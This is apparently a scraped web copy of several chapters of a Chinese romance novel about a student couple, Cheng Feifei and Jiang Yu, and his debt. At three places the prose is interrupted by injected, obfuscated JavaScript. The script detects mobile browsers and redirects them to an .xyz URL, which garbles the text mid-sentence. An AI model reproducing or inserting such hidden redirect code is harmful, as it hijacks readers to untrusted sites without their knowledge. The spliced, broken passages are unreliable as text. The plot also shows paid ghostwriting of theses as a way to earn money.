程皓南将烟蒂拧了,嘴角一挑,像是在逗小孩:“可以啊,两年之内,把债清了,今后你俩的事,我绝不过问。” 江羽皱了皱眉,两年,他都还不能毕业。 程皓南是在故意为难,目的是让他知难而退。 他当然知道很难,也没有想好应对的办法,可是无论如何他都不能妥协。 他不能失去程霏霏。 江羽只沉吟了数秒,便一口答应下来。 …… 墙上的时针又挪动了一格。 安静的客厅里,江羽坐在米白色沙发上,凝神望着漆黑的虚空。 手机屏幕的亮光将他的面孔映得惨白,此刻是格林威治时间晚上7点整。 拨号界面上,是一串英国的电话号码。 他紧紧地盯着这串号码,盯到眼角都泛起红丝,手指却迟迟无法按下那枚绿色的通话键。 良久,江羽叹了口气,自嘲地笑笑,将数字逐个删除。 手机扔到一旁,几息之后,彻底断电黑屏。 江羽索性在沙发上躺了下来,头枕着自己的小臂,闭目思索。 耳旁响起窸窸窣窣的动静,江羽睁开眼,借着窗外的残光,看到小黄将脑袋担在沙发上,睁着黑葡萄似的大眼睛望着他。 心中一暖,也把头凑了过去。 一人一狗就这么相互靠在一起,沉沉地睡着了。 50. 50 程霏霏抓着头发,打着呵欠出了卧室的门。 客厅里阳光灿烂,窗明几净。餐桌上摆放着简单的早餐,江羽已经出门了。 一夜过去,她的心中依然在生气,对某个人准备的早餐也视若无睹。 程霏霏拿出小黄的牵引绳,领着狗子出了门。 今天的天气很好,江边上碧空如洗,风清云净。 程霏霏牵着小黄在江滩公园的木栈道上溜达,与各种名贵的品种犬擦身而过。 每当看到这些狗,小黄总是跃跃欲试地想要上前去交朋友。而十次有八次,狗主人都不是太乐意,只会牵着自己的狗尽快离开。 今天,又是相同的场景。绑着蝴蝶结的马尔济斯犬刚要嗅一嗅小黄的鼻子,就被自家主人一把捞进了怀里。 “宝贝呀,咱们可不能和这样的野狗玩。” “野狗?”程霏霏想,我这么大一个主人在边上,你是瞎了看不见? 憋了一整晚的肝火正好没处撒,程霏霏顿时没了好脸色,嗤笑道:“听说过狗眼看人低的,没想到,狗眼也看狗低啊!” “你说谁狗眼呢!” 程霏霏啧啧两声,嫌弃地摇摇头:“不止狗眼,狗嘴也挺利索的,还会叭叭地提问。” “你——” 在对方的盛怒中,程霏霏翻了个硕大的白眼,牵着小黄离开了。 小黄依旧开心得没心没肺,程霏霏看着它这副样子,更加气不打一处来。 她抬起脚,踢了踢小黄的屁股:“喂,小野狗,你家主人平时没少受这种气吧?” 而且,他肯定也不会骂回去。 程霏霏鼓了鼓嘴,命令小黄坐下,自己蹲在它身前,与之对视。 “小黄,你觉得……姐姐漂亮吗?” 小黄哈哈地吐着舌头,尾巴像个扫帚一样碾来碾去,对程霏霏的亲近表现出极大的热情。 “你也觉得我漂亮对不对?那你家主人到底怎么回事?”程霏霏懊恼地吐出一口闷气,“我都那样明示了!他居然,居然……” 程霏霏说不下去了,怒道:“反正,再也没有下回了!” 她站起身,掐着腰发誓,从此以后,要和江羽那个讨厌鬼井水不犯河水,她再也不来过夜了! 生完气,程霏霏环视四周,这才发现,不知不觉间已经走出了老远,都快到学校边缘了。 再往前,就是江大的西门。 西门一带以各种新潮的咖啡馆和文艺小店居多,程霏霏摸了摸空空如也的肚子,决定找一家顺眼的,买点早午饭垫垫。 就这么打眼一望,好巧不巧的,居然见到了那个气了她一整晚的罪魁祸首—— 透过咖啡馆的橱窗,程霏霏清楚地看到,江羽正在和什么人聊天。 她蹙眉,心中升起一个问号:这个时间点,他不上课也不打工,在这里做什么? 江羽对面坐着一个男生,看着倒是有点眼熟。程霏霏想了半天,好像是和他一个课题组的师兄,叫柯有为。 两个人大概在讨论什么学术话题吧……实验室那么严谨的环境,不怎么利于开拓思维,不少江大的学生都会跑来咖啡馆学习,要不然,这条街的生意也不至于这样好。 程霏霏懒得上前打招呼,连早午饭也不想吃了,牵着狗,气哼哼地转身走了。 * 此刻,一墙之隔的咖啡馆里,江羽盯着眼前的咖啡杯,目光沉凝。 柯有为倒是一副精神焕发的模样:“你可算答应了,真是救我一命啊!” 江羽连头发丝也没有动,仿若一尊静止的雕像,只是淡淡地问:“为什么找我?” 柯有为压低了声音:“这种事,我也不放心找陌生人啊。外面那些论文代写,质量根本不行,哪有学弟你来的靠谱?况且,以你的实力,区区一篇我们专业的毕业论文,还不是小菜一碟?” 江羽不知道在想什么,并没有接话。 柯有为试探地问:“我估摸着……你整天打工,也是因为手头紧吧?” 江羽依旧安静地坐在那里,没有反驳。 柯有为心中暗喜,劝道:“价钱你来定,无论多少,我都配合。” 良久,江羽的目光终于从咖啡杯上挪开,浅褐色的眸子冰冷得有些锐利,语出惊人道:“我要二十万。” 柯有为一怔,这可是个天价。 “保你拿到优秀论文的荣誉,风光毕业。”江羽淡定地补充。 柯有为心里泛起了嘀咕。 他求了江羽这么久,对方好不容易松了口。虽然要价不低,不过,考虑到他们专业数据的复杂性,再加上指导老师那严厉的作风…… 柯有为正在忙着申请出国,优秀论文对他来说,是明晃晃的金字招牌,以后简历上能放一辈子,花点钱也值了。 “行吧。”柯有为伸出手,和江羽握了握,“学弟,我们合作愉快!” 这时候,服务员过来上餐点。 柯有为为了展现自己盛情的态度,把这家店的招牌吃食点了个遍。 各式甜品花花绿绿地摆了一桌子。 江羽看着满桌的餐点,心下一动,指着其中的几样,对服务员说:“这几个,麻烦帮我打包。” * 程霏霏打了一辆车,带着小黄,来到江边商业街上某大牌连锁宠物美容中心。 一进门,迎宾的小姐姐就殷勤地迎了上来。看到程霏霏脚边的狗,笑容却忽地一滞,委婉地提醒这位客人,咱们这里是会员制服务。 程霏霏了然地一笑,从挎包里拿出一张信用卡递过去。 对方立时笑得合不拢嘴,急忙接过:“您这边请!” 程霏霏给小黄安排了一套最贵的全身洗护按摩加顶级造型,给它改改这土掉渣的野狗气质。 既然跟了她程霏霏,以后,就得争做全小区最洋气的狗! 小黄瞪着惊恐又疑惑的眼睛,被笑眯眯的技师抱走了。程霏霏隔着玻璃幕墙对它挥了挥手,嘱咐它好好享受。 等待的时间有点无聊,程霏霏从店里出来,站在门口呼吸新鲜空气。 工作日的商业街上,人流量并不算多,隔着一条马路,就是她家的KTV。 那盏眼熟的旋转门里影影绰绰,不一会儿,哗啦啦地涌出一大群嗨唱结束的客人,在门口客气地相互寒暄着。 那群人中,竟然有一道程霏霏眼熟的身影。 * 祁风鸣看了一眼腕表,眉间隐隐有些不耐。 司机去提车的动作也太慢了,他再听面前这位本地投资商叨叨,脑袋就要炸了。 这次来江城出差,时间本就紧迫,要不是这位老总热情攒局,非要给他展示几个“潜力不错的好苗子”,他也不会放着工作不做,大白天的跑来KTV参加一场社交局。 刚刚在包厢里,他捏着鼻子,听几个涂脂抹粉的小年轻在那里矫揉造作地唱歌,霍然就对自己的职业意义产生了怀疑。 这个金钱至上的时代,投资人想捧谁,谁就有机会上位。 没人管这些人到底行不行、资质如何,好资源先喂上,再去求神拜佛,搞点旁门左道,早晚能红。 实在点儿背红不了的,就干脆抛弃,换下一个。 那种对艺人潜心栽培、以搭档的方式共同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439523|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进取的时代,好像是上辈子的事了。 祁风鸣的心思正神游天外呢,忽然,旁边响起一道清脆的女声:“祁总您好!您还记得我吗?” 程霏霏清凌凌地站在旁边,脸上开朗的笑容就如此刻的江风一样,清爽怡人,沁人心脾。 * 程霏霏也不知怎么的,只是简单过来打个招呼,竟然就莫名其妙地上了祁风鸣的车,行驶在去往机场的高速上。 “抱歉,我马上要飞帝都,没有太多聊天的时间,只能委屈程小姐陪我走一趟机场,待会儿,我的司机会把你送回去。” 程霏霏倒是没甚所谓,只是好奇地问:“您要和我谈什么?” 祁凤鸣拿出自己的手机,点开播放键,动听的旋律瞬间盈满了车厢——竟然是昨天,江羽在校园里唱那首Angelbaby的视频。 程霏霏惊讶地接了过来。 有人录下了视频,还发到了网上? 她下划到留言的位置,短短一天光景,转发量竟然已经过千。 留言里一片惊叹,都在问这是哪个小明星,怎么从歌到人,都如此惊艳! “没想到,对不对?”祁风鸣淡笑着看她,慢条斯理地说:“我倒是一点也不惊讶。” 程霏霏捏着手机的手指紧了紧,莫名的,她的心有些发慌。 “您让我陪您去机场,不会是只想给我看这段视频吧?” 祁风鸣一笑,问道:“你不好奇,江羽为什么不愿意和我签约吗?” 程霏霏愣愣地回答:“难道不是因为他家里的事情……” 祁风鸣轻嗤一声,摆了摆手:“那件事他不负任何法律责任。况且,一点小钱而已,想摆平也不难。” “那他是因为?” 祁风鸣看着眼前的女孩,眼神深邃而洞察:“程小姐,因为你。” 程霏霏愣住了。 祁凤鸣在他的手机上找出一份文件,递了过去。 “……签约艺人单身协议?” “嗯。我司的规矩,但凡签下的新艺人,无论男女,无论发展方向是什么,都需要在一定期限内保持单身。毕竟,娱乐圈是个造梦行业,而我们为艺人倾注资源,也需要一点来自艺人的承诺,不在不该生事的地方有任何闪失。” 程霏霏埋着头,似乎在认真阅读文件里的每一个字。 “您是说……江羽他……不愿意签这份协议?” 祁风鸣点了点头,目光飘向车窗外,看着成排的绿植飞速地向后退去。 “哪怕做做样子,他都不愿意。他不想委屈了程小姐。” 而程霏霏一边读着屏幕上的辞藻,一边讽刺地想,这份协议,可比自己当初随便拟的那份包养协议考究多了。 世间事兜兜转转,活生生的人,怎的就能被这些写满字的协议束缚住手脚呢? 她平息了片刻,抬起头,不悦的眼风扫向祁风鸣:“祁总今天,是来劝我分手的吗?” 少女的眼睛含着锋利的水光,还有一丝桀骜不驯的执拗,像是被侵犯了私人领域的小动物,收起了所有温驯,露出了隐藏在甜美外表下的利齿。 祁风鸣默了半晌,平静地说:“我只是觉得,你有权利知道这件事。这不是江羽一个人的决定,同样也是你的决定。作为年长的过来人,我想说,人在年轻时候的选择,本也无所谓对错,甚至无论做什么选择,可能都会后悔。” 车子已经到达机场,在国内出发的入口处缓缓停下。 祁风鸣打开车门,最后看了一眼后座上的程霏霏。 “后悔的时候,希望你仍旧记得当初选择的理由。” 51. 51 回城的一路上,程霏霏的脑子都是懵的。 心脏像覆了厚厚的塑料膜,所有情绪都隔着一层,变得迟钝又生疏。 司机把她送回了江边商业街。 看到KTV门前那个硕大的金色音符,程霏霏才想起来,早上因为和江羽置气,心情不爽快,特意约了任可心和黎玥出来唱歌。 她还扬言,要抛弃狗男人,过一个纯粹的“姐妹之夜”。 怎么偏偏是今天呢? 程霏霏揉了揉自己的胸口,感到那股挥之不去的窒闷感仍旧清晰得很诡异。 大概是车厢里的空气实在不好。 手机在包里嗡嗡嗡地震动,显然,朋友们已经到了。 程霏霏默了片刻,抬起脚,朝KTV相反的方向走去——她还算有点良心,没有把可怜的小黄独自遗忘在宠物美容中心。 红灯自斑马线的尽头亮起,主干道上,汽车飞驰而过,掀起翻涌的气浪,扑在行人的腿上。 程霏霏盯着脚下的路面发呆。 经年累月的斑马线磨损了边缘,在岁月的侵蚀下褪去了鲜亮,徒留一片乌灰淡浊。 脑子里涌起无数个问号。 ——江羽不愿意签那个劳什子的单身协议,她作为女朋友,不是应该很开心吗? ——再不济,也该是满满的感动啊! 谁家男朋友这么想不开,放着到手的三百万不要,硬要去谈一场不赚钱的恋爱? 噢,她家的。 这种事若是发生在身边小姐妹身上,甭管如何,必定要先昭告天下,大秀特秀一番,嚷嚷着情比金坚。 可是,她现在却连见朋友的心情都没有了。 程霏霏不懂,在最初的恍惚过后,自己怎么会感到这般惆怅。 又难过,又憋屈,还带着一丝她自己也搞不明白的心疼。 绿灯亮了,两侧的人群迅速向中间闭合,交织成一张杂色的网。 程霏霏知道自己该走了,可双脚却像黏在了柏油路面上,迈个步子的力气都没有。 天光渐渐倾斜,包里的手机响了一遍又一遍,终于彻底归于平静。 她就这么蹙眉站着,一动不动,思绪飘飘荡荡,回到了一年前,第一次碰见江羽的时候。 那天,她的行为其实没有任何规律可言,全部充斥着不确定的巧合—— 如果……如果没有停车买糖藕,没有打开车窗,没有碰巧心情不好所以想凑个热闹,她还会不会走进那条巷子、顺利地救下他? 那……她还会认识他吗?他们还会在一起吗? 程霏霏意识到,自己向来懒得思考的大脑,居然正在思索一道哲学命题。 人生看似非常复杂多变,充满了奥秘,但其实一切的一切都可以归结为两个字:时机。 而那些酸楚的离愁别恨或是矫情的抱憾终身,无非就是在反复雕琢两个字:错过。 想到这里,程霏霏忍不住打了一个寒噤。 她才不要。 路口的气流渐渐变得强劲,卷着地上的碎叶,拍打在她晃动的裙摆上。不一会儿,有零星的雨点从高处落下,在周围的路面上砸出一圈圈水渍。 一场夏末的急雨迫在眉睫。 周围的行人已经开始奔逃,可程霏霏仿若未觉,僵硬得像一尊生锈的机械娃娃。 忽然,一片透明雨伞自头顶覆了过来,遮住了女孩子纤薄的身形。 几乎在同一时刻,豆大的雨点噼里啪啦地落在伞面上,越下越快,越落越急,飞溅而起的水雾遮住了程霏霏缓缓抬起的、茫然若失的眼睛。 江羽撑着一柄便利店买的透明雨伞,正在通过耳机讲电话。 “嗯,我找到霏霏了,她没事,你们别担心。” 程霏霏目不转睛地盯着他看。 江羽很快挂断了电话,目光在她的脸上转了一圈,什么也没问,只是取下自己的一只耳机,塞进了她的耳朵。 登时,俏皮的音乐声涌了过来—— Raindropskeepfallingonmyhead 雨点不断落在我头上 Justliketheguywhosefeetaretoobigforhisbed 就像一个大个子躺在一张小床上 Nothingseemstofit 一切似乎都不对劲 SoIjustdidmesometalkingtothesun 于是我决定找太阳谈谈 IsaidIdidn''tlikethewayhegotthingsdone 我说你这样做事很不厚道 …… 雨越下越大,湍急的雨帘竖起一道模糊的墙,彻底隔绝了外面的世界。 程霏霏没有动作,江羽也不催,就只是沉默地陪着她。 他们看着像两个不会躲雨的傻子,挤在一柄局促的小伞底下,站在露天的街口。 耳机里的歌声还在继续—— Theseraindropskeep 这些雨点 Fallingonmyhead 不断落在我头上 Butthere''shingIknow 但我知道一件事 Thebluestheysenttome 他们带给我的忧郁 Won''tdefeatme 无法将我打倒 Itwon''tbelongtillhappinessstepsuptogreetme 不久快乐就会到来 …… “噗——”程霏霏听着听着,忽然咧嘴笑了。 江羽不动声色地松了口气,抿起唇角,微微俯下身,平视着程霏霏的双眼。 “这位美丽的姑娘,有什么烦恼吗?” 程霏霏摇摇头,声音轻得几不可闻,目光黏稠:“江羽,我想你了。” 江羽明显怔了一下,连声音都高了一个调:“……发生什么事了?” 程霏霏嗔怪地睨了他一眼,语气有点不爽:“怎么,我说想你了,就是有事?” “倒也不是。”江羽的心里其实已经乐开了花,面上却只是揶揄地笑笑,“忽然间说些我爱听的话,女朋友,你不对劲。” “这算什么?”程霏霏眨了眨眼,傲娇地将两只胳膊背在身后,“甜言蜜语嘛,我也会说。” 她仰起头,水润的眼眸里含着一点点未褪尽的忐忑,看着江羽的目光却前所未有的认真。 “江羽,我喜欢你。” “所以,想问问你……能不能,永远留在我身边啊?” 那三百万她不要了,江羽也不要了。 他们就这么陪伴着彼此,谈一场最俗套的恋爱吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江羽简直道不尽心中的欢喜。 他将怀里的少女放下,捧住她的脸颊,语无伦次地说:“霏霏,我……不知道该怎么说,我真的……真的好喜欢你。” 他伸出三根手指,煞有介事地对着天空,极认真地承诺:“我江羽发誓,会永远留在程霏霏身边!” 这句听着就很冲动的誓言,不知怎么的,竟然令程霏霏的眼底漫上些许热意。 她刚想低头遮掩,江羽却撩起她凌乱的发丝,迫不及待地倾身,在少女的唇上落下一个灼热的吻。 雨丝沁凉,程霏霏干冷的唇瞬间被温热的唇舌包裹。 鼻端依旧萦绕着清冽的柑橘香,此刻混进了雨水的湿气,多了几分草木的味道。 她忍不住回抱住他,像雨中生芽的藤草,不管不顾地缠了上去,只想将这人牢牢抓住,永永远远地留在身边。 双手环着他的脖子,急切地加深了这个吻。 大雨如注,天地间朦胧一片,只有耳机里的音乐还在努力吟唱着,已经不晓得播到了哪首曲子。 透明的雨丝迫不及待地降落在大地上,如珠帘一般密密实实的,遮蔽了所有人的视线。 没有人注意到这对当街亲吻的爱侣。 他们旁若无人,双双失陷在对彼此疯狂的心动里。 雨伞辟出了一方隐秘又干燥的小天地,让他们如痴如醉、毫无保留地倾吐着心中的爱意。 乌云遮蔽了天光,大雨将城市的光影覆盖,一切明与暗的边界,好像都消融了。 整个世界只余年少情深的承诺在空气里回响,在大雨中显得有点脆弱不堪,却也最是撼动人心。 未来还远,至少此时此刻,他们在彼此身旁。 52. 52 骤雨初歇,充沛的水量注入大地,让江水也跟着高涨。浪花拍打在石堤上,水珠迸溅得更起劲了。 整条商业街都湿漉漉的,没什么人。 程霏霏拉着江羽的胳膊,带他去街对面的宠物美容店接小黄。 江羽刚刚捡到小黄的时候,它因为染了皮肤病,身上有好几块斑秃。 兽医看过之后,说这些秃处病了太久,又天天风吹日晒,毛囊早就坏死了,以后都长不出毛。 可江羽并没有放弃,还是买了一管药膏,没事就给它抹一抹。 天长日久的,那些秃掉的地方,竟然重新长出了毛发。 新毛旧毛混在一起,凹凸不平,搞得小黄十分邋遢,被误会成流浪狗也不冤。 此刻,江羽震惊地看着店员怀里抱着的家伙,忍不住再三确认:“……这真是我的狗?” 经过顶级美容师大刀阔斧地修剪,原本蓬乱无章的毛发变得细短整齐,干净利落。两只狗耳朵直挺挺地立着,三角形的小脸透出浓浓的萌感,像漫画里的可爱小狗。 一双圆溜溜的狗眼黑珍珠似的,见到江羽的时候,开心得尾巴都快摇上天了。 程霏霏一把将小黄抄了过去,举在空中打量半天,震惊地感叹:“真是人靠衣装狗靠毛,小野狗,你以后再也不怕被认成野狗了。” 兴奋的小黄趁机舔了她一脸。 程霏霏嫌弃地将狗还给江羽,揉了揉鼻子:“那个,你快带它回去吧。” 她转身就出了宠物店,沿着华灯初上的街道走得飞快。 江羽抱着狗追上来:“你不跟我一起?” “我今天约了朋友们。”程霏霏停下脚步,半低着头,声音有些飘,“再说了……我当然要回自己家的,你那里又不是我家。” 江羽想起昨晚两人闹的别扭,唇角忍不住弯起。 程霏霏也想到了,顿时恼了,转身就要走,被江羽一把拉住胳膊。 “干吗?”程霏霏不耐烦地回过头。 江羽将小黄放下地自己跑,打开背包,拿出一个大纸袋,纸袋上印着甜品店的logo,是学校西门的网红店。 “这个给你。” 程霏霏接过来,朝纸袋里一扫,是她曾经随口夸赞过的海盐焦糖泡芙和抹茶卷。 心下高兴,面上只撇了撇嘴,没好气地说:“你以为这样就算了?” 袋子倒是抱进了怀里。 “当然不是。” 夜色下,江羽的眼睛深邃空碧,敏锐而透彻,仿佛一切都洞然于心。 他忽然俯身,伏在她的耳侧,声音很轻:“你大概不知道,认识你以后,每天晚上,你都会出现在我的梦里。” 程霏霏一愣。 “我在那些梦里,对你做尽了坏事……” 江羽的睫毛垂下来,低沉的气音带着说不尽的暧昧。 程霏霏一瞬间就明白他梦到了什么。 双颊霎时漫上绯红,心脏被撩拨得怦怦直跳。 江羽却轻轻一笑,叹道:“所以我强迫自己,必须要守住梦和现实的边界。霏霏,你虽然已经答应做我的女朋友,但我还是得时刻提醒自己——为了配得上我的霏霏,还须多多努力。” 程霏霏已经听得怔住了。 江羽趁机偷偷吻了吻她的眼睛:“你说喜欢我,我好开心。可是霏霏,我很贪心,想要的比你愿意给的,还要多得多。” * 是夜,程霏霏躺在自家卧室的床上,翻来覆去地睡不着。 紊乱的心跳一直没有停过,她从被窝里伸出两只手,摸了摸自己滚烫的脸颊。 脑海里反复琢磨着江羽最后那句话,一边莫名其妙地心动,一边又有些似懂非懂——他说他贪心,可是,他想要的究竟是什么呢? 她都说了喜欢他,甚至……还愿意和他上床诶,他竟然还不满足? 程霏霏有点挫败,江羽好像超出她过往那些对男人的理解了。 睡不着,干脆就起来做点事情。 程霏霏从书桌的抽屉里找出一只计算器,闪身进了衣帽间。 第二天,黎玥提着打包好的外卖,和任可心双双回到寝室的时候,看到素来精神满满的程霏霏竟然趴在自己的桌子上,有气无力地哼哼。 黎玥皱着眉,摸了摸程霏霏的额头。 “奇怪,不烫啊。”她捧起程霏霏的脸,左右打量,“脸色也不错,白里透红的,应该没生病。” 程霏霏甩脱她的手,沮丧地说:“我没病,就是有点发愁。” “愁什么?” “愁钱。” “……” 黎玥眼珠子都要掉出来了,连忙看了眼旁边同样目瞪口呆的任可心,怀疑程霏霏莫不是傻了,竟然开始说这样的胡话。 “咱们程大小姐竟然会愁钱?真是太阳打西边出来啊。”任可心也凑过来,发现程霏霏的桌子上摊着一只小本子,上面密密麻麻的,写满了奇怪的型号跟价格。 她拿起来翻了翻:“这是什么?” 程霏霏接过黎玥递过来的温水,咕咚咕咚灌了个干净,才慢条斯理地说:“这是我统计的手头上所有值钱的家当,一些衣服还有包包什么的,别的我也没有了。” 说到这里,又重新面露愁色:“可是,即便把这些东西都卖了,也还是凑不够我需要的钱。” “你需要多少?” “我要五百万。” 任可心手里的本子都吓掉了:“你,你要五百万做什么?” 程霏霏轻飘飘地说:“我想替江羽筹钱,帮他把债还了。” “……”任可心和黎玥已经双双说不出话了。 程霏霏重新拿起那个本子,叹了口气:“理想很丰满,现实很骨感。哪怕这堆东西都卖出去,加在一起,离五百万也还差得很很很远!” 她靠在椅背上,仰起头,为难地蹙起眉。 “我平时刷卡,都是家人在还,收到的现钱,也根本存不住,等到真要用钱的时候,根本拿不出多少来。呵,亏我还有脸说自己以钱压人!” “要不然,你去找你爸妈帮忙,或者找你哥也行啊。” “不行!”程霏霏一秒钟从椅子里跳起来,信誓旦旦地说:“这事绝对不能让我家里人知道!” 她用脚趾头都能想象得出,这事要是让她爸或者她哥知道了,肯定会像电视剧里演的那样,先给她锁在家里,关上十天半个月,再逼她写下保证书,承诺以后再也不和江羽往来。 最后,还要给她介绍个“门当户对”的男二号,逼她就范。 而这个倒霉催的男二号,没有丝毫意外,一定会是彭响那个傻货。 想到这里,程霏霏忍不住一阵恶寒。 总之,为了避免未来真的出现这样恐怖的场景,她必须未雨绸缪,想出其他筹钱的法子才行。 程霏霏支着额角,继续唉声叹气。 桌子上,黎玥已经把外卖全部摆好,架着她的胳膊往外挪人。 “好啦,先吃饭,吃饱了才有力气想办法!” 程霏霏却忽然攥住黎玥的双手,眼睛里迸发出灼热的精光:“我怎么没想到呢?既然手里没钱,那去赚就好了!黎玥,你快教教我,要怎么打工挣钱?” * 自那个雨夜之后,江羽和程霏霏都觉得,彼此好像有些奇怪。 别人家的小情侣互通了心意过后,便是整天腻歪在一起,恨不得抓紧每分每秒卿卿我我、你侬我侬,而他们俩却一个胜似一个的忙,不仅如此,两人还各自对自己的忙,都有些遮遮掩掩。 程霏霏觉得江羽奇怪,是因为他忽然辞掉了在鹿客的兼职,全身心地投入到了学业中。每天不是在图书馆,就是在实验室,看起来倒是真的像一个拓知的学生了。 明明是再正常不过的事,可程霏霏就是莫名觉得,江羽有什么事在瞒着她。 而江羽觉得程霏霏奇怪,是因为她一改往日的懒散,忽然开始“奋发图强”了。 之前那份干了一个月就撂挑子的实习工作,被程霏霏巴巴地捡了回来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457310|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 为此,她特意在新闻中心的门口蹲了好几天,看到主任的身影就冲了上去,把当初辞职的理由编得天花乱坠,卖惨卖得头头是道,就差哭诉自己没钱交学费了。 几天下来,主任实在受不住她的死缠烂打,只得解释说,自己手下已经新招了人,没有更多名额了,但是他可以推荐程霏霏去其他部门试试。 程霏霏高兴得很——去别的部门更好,她再也不必跟着跑外勤了! 主任最终把她推荐去了文艺频道底下的一档音乐栏目,叫做【古典之声】,专门介绍古典音乐家和他们的代表作品。有时候,也会采访很多当代乐评人,一起探讨古典音乐。 由于题材冷僻,愿意来实习的人并不多。 然而,在程霏霏看来,这个节目简直是再好不过的去处了——她是真的很喜欢古典音乐! 节目的编导是一位成熟干练的姐姐,名叫纪玫。 纪玫见程霏霏的第一面,其实是不太想录用她的。 她瞄了眼程霏霏的打扮,一看就是家境优渥的女孩子,出来工作只是为了简历好看,大概也不在乎那仨瓜俩枣的工资。 说起话来倒是嘴甜,但也带着一种与生俱来的骄纵,看着不太像是会静下心来好好工作的人。 正想着该如何回绝的时候,纪玫的手机响了,她出去接了个电话。 回到面试间,纪玫正要打发程霏霏回去,对方却忽然问:“姐姐,你的手机铃声是莫扎特的《第39号交响曲》吧?” 纪玫眨眨眼:“对……你听过?” 程霏霏笑了笑,拿起自己的手机:“对啊,我平常也喜欢用古典乐做铃音的,虽然周围的朋友都不太理解,但是我喜欢,他们管不着。哦对了,我用的是德沃夏克《浪漫曲》里的一段,你听!” 还真的还当场播放了出来。 宛转轻柔的小提琴声在房间里回响,纪玫静静地听了一会儿,内心有些惊喜:“琴声很有些功力,这是哪位大师的演奏?” 程霏霏忽然有点不好意思:“不是什么大师,是我男朋友……我趁他练琴的时候,偷偷录的。” 纪玫暗暗惊讶。 不过,这倒是让她对眼前的女孩有了新的认识。 纪玫从椅子里站起来,笑盈盈地握住对方的手:“程霏霏,恭喜你,你被录取了。” 从那之后,程霏霏便开始了在这档音乐栏目里打杂,哦不,实习的日子。 实习工作的忙碌程度远超程霏霏的预期——除了策划访谈节目的选题和大纲之外,还要负责接待到场的嘉宾;节目录制的时候,人必须出现在演播厅,做好端茶倒水的后勤工作;录完了节目,她还要帮着一块对素材进行粗剪…… 一整天下来,常常累得她四肢都快要散架。 不仅如此,在黎玥的介绍下,程霏霏还利用周末的时间去艺考机构当助教。 再加上,升入大三以后,专业课的比重猛增,程霏霏除了正常上课之外,还得着手准备几个专业资格证的考试…… 一段日子下来,简直活得比高三还要累。 * “所以,你到底为什么把自己逼成这副模样?” 寝室里,黎玥揉捏着程霏霏僵硬的肩膀,说是要给她露几手自己兼职时学来的绝活。 “别怪我多嘴啊,你和江羽的感情再好,他的债务也是他自己的事,凭什么要你帮着分担?再这样下去,我要重新怀疑江羽的居心了。” “这事他不知道。”程霏霏闭眼享受着肩上的服务,舒服地哼哼唧唧,“我也——不打算——告诉他。” “为什么?”黎玥不由停下了动作。 “可能是因为……”程霏霏睁开眼睛,长长地吁出一口气,说出的话却让黎玥摸不着头脑。 “爱情这东西真的很烦,让你狠狠幸福,又让你心怀愧疚。” 程霏霏的声音很轻,语气慵懒,却带着一缕捉摸不透的倔强,好像是在和谁较劲一般。 “我不想他有一天,会后悔自己的选择。” 53. 53 对于江大的学生来说,一周当中最幸福的时光,莫过于周五的夜晚。 这是即便暂停自律,也无须愧疚的时间。 此刻,学校后边的小吃街上人山人海,自习室却冷清得反常。江羽从一堆书山里抬起头,发现周围的人俱都走空了。 他伸了个长长的懒腰,揉了揉酸麻的颈椎,感觉浑身的关节都在叫嚣着罢工,抗议声清晰可闻。 从昨天晚上通宵到现在,困了就趴在桌子上小睡一觉,醒来就争分夺秒地继续工作。 除了柯有为的毕业论文,江羽手头还有七七八八各种类型的“订单”,基本都是些学期小论文或者作业代写。 拓知的理科通识课真是没白上,江羽发现,他基本上没有接不了的单,俨然成了一枚跨专业神枪手。 来钱可比他在外面打工挣得多得多。 只不过,汪行知如果知道,大概会连胡子都气得秃噜掉。 江羽把书本收进书包,从口袋里翻出手机,已经没电关机了。 他微一蹙眉,立刻找了个地方充电。 随着开机的音效响起,接二连三的信息冒了出来,有项梵、裴一舟,甚至常泰也发来一些无关紧要的碎碎念,唯独不见程霏霏。 他消失了一天一夜,女朋友竟然毫无所觉。 江羽捏着鼻梁,无奈地笑了一下。 起身去教学楼的洗手间,拧开水龙头,就着哗啦啦的冷水,江羽洗了把脸。 隔间里有人在打电话,大男生软着嗓子,正在和女朋友聊天。 “视频我看了,真是咱学校的?” “咳,唱得也就那样,跟我比是差了点。“ “嗐,不就一首Angelbaby嘛,回头我也给你唱……” …… 水珠沿着发梢渗进衣领,江羽浑不在意地一哂,拧上水龙头。 抬起头,镜子里的这张脸苍白黯淡,带着熬夜过后的疲惫。 江羽眉心一动,使劲揉了揉眼球,又拍了拍僵硬的肌肉,一张脸看上去才恢复了些生气。 他揩了一把下颌上的水,拎起书包,走出教学楼。 * 从公交车上下来的时候,江羽一抬头,便望见了高楼林立间火红的夕阳。 主干道上车流不息,已经有了晚高峰的前兆。 暑假的时候,程霏霏还在新闻中心实习那会儿,江羽经常来这里接她。后来,她去了【古典之声】栏目组,就不再让他继续接送了。 程霏霏的理由是,自己忙起来没谱,从不准时下班,她不想让他白等。 时间还早,江羽不想打扰程霏霏工作,于是绕去了电视台的后门。 马路对面有一小片城市绿地,是袖珍大小的口袋公园,被四周的楼宇围在中央。绿草如茵,树影成盖。 